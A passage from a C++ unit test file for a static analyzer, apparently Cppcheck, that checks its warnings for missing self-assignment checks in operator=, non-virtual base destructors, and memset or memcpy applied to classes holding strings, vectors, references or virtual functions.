strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n 